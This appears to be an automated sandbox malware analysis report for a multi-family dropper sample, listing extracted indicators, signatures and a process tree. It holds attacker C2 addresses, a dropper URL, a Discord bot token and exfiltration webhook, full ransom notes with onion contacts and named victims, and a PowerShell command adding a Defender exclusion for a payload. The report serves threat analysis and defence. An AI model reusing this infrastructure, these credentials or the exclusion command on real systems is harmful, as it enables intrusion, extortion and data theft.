Resubmissions
09/11/2026, 18:12
261109-ws6bbses3p1008/11/2026, 18:56
261108-xlkaysex8v1026/11/2025, 17:43
251126-wa1ccsxngq1018/11/2025, 21:28
251118-1bgc4aaz8f10Analysis
- user interaction
yes - max time kernel
1s - max time network
80s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
09/11/2026, 18:12
Errors
General
- Target Tsar3.exe
- Size 28.0MB
- Sample261109-ws6bbses3p
- SHA256 1b3e438ef3a09058ddc016b8b7dda3cfde411c773a45eae629f36202b83a86f5
Malware Config
Extracted
-
ps1
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
-
sality
-
http://89.119.67.154/testo5/
-
http://kukutrustnet777.info/home.gif
-
http://kukutrustnet888.info/home.gif
-
http://kukutrustnet987.info/home.gif
-
http://www.klkjwre9fqwieluoi.info/
-
http://kukutrustnet777888.info/
Extracted
-
redline
-
cheat
-
154.91.34.165:64951
Extracted
-
discordrat
-
discord_token
MTM0OTU1Nzg2MTk3NzY4NjExOA.GZnBJ8.ModoCKrx8GueOq0zGHlbO14l4wHwAZe9839-DA
-
server_id
1350894549899411528
Extracted
-
C:\Recovery\Data breach warning.txt
- # RA World ---- ## Notification Your data are stolen and encrypted when you read this letter. We have copied all data to our server. Don't worry, your data will not be made public if you do what I want. But if you don't pay, we will release the data, contact your customers and regulators and destroy your system again. We can decrypt some files to prove that the decrypt tool works correctly. ## What we want? Contact us, pay for ransom. If you pay, we will provide you the programs for decryption and we will delete your data where on our servers. If not, we will leak your datas and your company will appear in the shame list below. If not, we will email to your customers and report to supervisory authority. ## How contact us? We use qTox to contact, you can download qTox from office website: https://qtox.github.io Our qTox ID is: 358AC0F6C813DD4FD243524F040E2F77969278274BD8A8945B5041A249786E32CC784580F2EC We have no other contacts. If there is no contact within 3 days, you will appear on our website and we will make sample files public. If there is no contact within 7 days, we will stop communicating and release data in batches. The longer time, the higher ransom. ## RA World Office Site: [Permanent address] http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion [Temporary address] http://161.35.200.18 ## Sample files release link: Sample files: https://gofile.io/d/ufuFye ## Unpay Victim Lists *** You'll be here too if you don't pay! *** *** More and more people will get your files! *** [NIDEC GPM GmbH] [Die Unfallkasse Th�ringen] [HALLIDAYS GROUP LIMITED] [Rockford Gastroenterology Associates] [Di Martino Group] [Alablaboratoria] [Comer] [Informist Media] [SUMMIT VETERINARY PHARMACEUTICALS LIMITED] [Chung Hwa Chemical Industrial Works] [Aceromex] [247ExpressLogistics] [Yuxin Automobile Co.Ltd] [Piex Group] [Zurvita] [BiscoIndustries] [Decimal Point Analytics Pvt] [DeepNoid] [Eastern Media International Corporation] [EyeGene] [Insurance Providers Group] [Thaire] [Wealth Enhancement Group] You can use Tor Browser to open .onion url. Ger more information from Tor office website: https://www.torproject.org
-
https://qtox.github.io
-
http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion
-
http://161.35.200.18
-
https://gofile.io/d/ufuFye
Extracted
-
valleyrat_s2
-
154.23.184.57:80
Extracted
-
C:\fnsYm5R5i.README.txt
-
lockbit
- ~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz If you do not get an answer in the chat room for a long time, the site does not work and in any other emergency, you can contact us in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] >>>> Your personal DECRYPTION ID: 2936B8B4C916B76C84DA58C4217ABEED >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
-
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
-
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
-
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
-
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
-
http://lockbitapt.uz
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
-
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly
-
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly
-
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly
-
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
-
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1346459311483785276/cQnVuDAoiFJcDf4vo7vWTgnnFbmUju8Qxk65L_lTD8cZZ2u1KsT1eGhKTrTCfucO5-er
Extracted
-
\Device\HarddiskVolume3\readme.txt
-
dragonforce
- Hello! Your files have been stolen from your network and encrypted with a strong algorithm. We work for money and are not associated with politics. All you need to do is contact us and pay. --- Our communication process: 1. You contact us. 2. We send you a list of files that were stolen. 3. We decrypt 1 file to confirm that our decryptor works. 4. We agree on the amount, which must be paid using BTC. 5. We delete your files, we give you a decryptor. 6. We give you a detailed report on how we compromised your company, and recommendations on how to avoid such situations in the future. --- Client area (use this site to contact us): Link for Tor Browser: http://3pktcrcbmssvrnwe5skburdwe2h3v6ibdnn5kbjqihsg6eu6s6b7ryqd.onion >>> Use this ID: 92754795DC1DE6F492754795DC1DE6F4 to begin the recovery process. * In order to access the site, you will need Tor Browser, you can download it from this link: https://www.torproject.org/ --- Additional contacts: Support Tox: 1C054B722BCBF41A918EF3C485712742088F5C3E81B2FDD91ADEA6BA55F4A856D90A65E99D20 --- Recommendations: DO NOT RESET OR SHUTDOWN - files may be damaged. DO NOT RENAME OR MOVE the encrypted and readme files. DO NOT DELETE readme files. --- Important: If you refuse to pay or do not get in touch with us, we start publishing your files. 16/04/2025 00:00 UTC the decryptor will be destroyed and the files will be published on our blog. Blog: http://z3wqggtxft7id3ibr7srivv5gjof5fwg76slewnzwwakjuf3nlhukdid.onion Sincerely, 01000100 01110010 01100001 01100111 01101111 01101110 01000110 01101111 01110010 01100011 01100101
-
http://3pktcrcbmssvrnwe5skburdwe2h3v6ibdnn5kbjqihsg6eu6s6b7ryqd.onion
-
http://z3wqggtxft7id3ibr7srivv5gjof5fwg76slewnzwwakjuf3nlhukdid.onion
Extracted
-
C:\ahIFlNJOT.README.txt
-
lockbit
- ~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> you can contact us in mail or tox. Tox ID LockBitSupp: 599A61A3310B75EC1713521B487B9FD9D2D02CCF37830FF941DD3AD35F12E86960AC75B9F171 mail Support: [email protected] >>>> Your personal DECRYPTION ID: EB62581AF710E223566426B0288A27BD >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 599A61A3310B75EC1713521B487B9FD9D2D02CCF37830FF941DD3AD35F12E86960AC75B9F171 mail Support: [email protected]
-
https://tox.chat/download.html
Signatures
- Family: Chaos
Ransomware family first seen in June 2021.
- Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Family: Discord RAT
A RAT written in C# using Discord as a C2.
- Family: DragonForce
Ransomware family based on Lockbit that was first observed in November 2023.
- Family: Floxif, Floodfix
Floxif aka FloodFix is a file-changing trojan and backdoor written in C++.
- Family: KillMBR
KillMBR is a trojan that attempts to overwrite the Master Boot Record.
- Family: Lockbit
Ransomware family with multiple variants released since late 2019.
- Family: ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Sality
Sality is backdoor written in C++, first discovered in 2003.
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Chaos Ransomware 2 IoCs
- DCRat payload 1 IoCs
- Detects KillMBR 1 IoCs
- Detects Umbral payload 4 IoCs
- Detects ValleyRAT payload 1 IoCs
- ModiLoader Second Stage 1 IoCs
- Process spawned unexpected child process 7 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine payload 2 IoCs
- Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs
- Detects Floxif payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- UPX packed file 19 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Opens file in notepad (likely ransom note) 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tsar3.exe"C:\Users\Admin\AppData\Local\Temp\Tsar3.exe"1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Monoxidex64.exe"C:\Users\Admin\AppData\Local\Temp\Monoxidex64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe" /watchdog3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe" /watchdog3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe" /watchdog3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe" /watchdog3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe" /watchdog3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MEMZ.exe"C:\Users\Admin\AppData\Local\Temp\MEMZ.exe" /main3⤵
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" \note.txt4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://google.co.ck/search?q=bonzi+buddy+download+free4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffef61fc188,0x7ffef61fc194,0x7ffef61fc1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1600,i,3764431234536480931,8389215648081352980,262144 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=2656 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1808,i,17612766217785879523,14228570594083586355,524288 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,11253604824503835955,17386976742365751353,524288 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3688,i,13955590389925524563,5893848974066259846,2097152 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3716,i,1587875480894953708,9534290584957533681,2097152 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=3968 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,2777392946108889813,10143708847739555999,2097152 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4284,i,7012316912317123193,2976683794310880379,2097152 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5216,i,2341906216449387755,5792047909234997111,524288 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,16562035610313028077,405514195093143808,524288 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5428,i,15671581719187349099,11609257716959020376,524288 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5940,i,1900024810102672062,14672301586683597398,2097152 --field-trial-handle=2672,i,11487779897065773723,2473428265224887108,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:15⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\03834e6c7a8bac7bb283f0ffca293cda50b4547237cc32c8b6e16501771cb705.exe"C:\Users\Admin\AppData\Local\Temp\03834e6c7a8bac7bb283f0ffca293cda50b4547237cc32c8b6e16501771cb705.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Tsar2.exe"C:\Users\Admin\AppData\Local\Temp\Tsar2.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\aae8a9852809300d5ee4f5a8031f42f660dff3e427aef081d9aeabb2dca84058.exe"C:\Users\Admin\AppData\Local\Temp\aae8a9852809300d5ee4f5a8031f42f660dff3e427aef081d9aeabb2dca84058.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\e934e286e2ec0985f44cc3109c6db434a65aeb731a8979e931164881ba2d4729.exe"C:\Users\Admin\AppData\Local\Temp\e934e286e2ec0985f44cc3109c6db434a65aeb731a8979e931164881ba2d4729.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\ResonateII.exe"C:\Users\Admin\AppData\Local\Temp\ResonateII.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"3⤵
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"5⤵
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
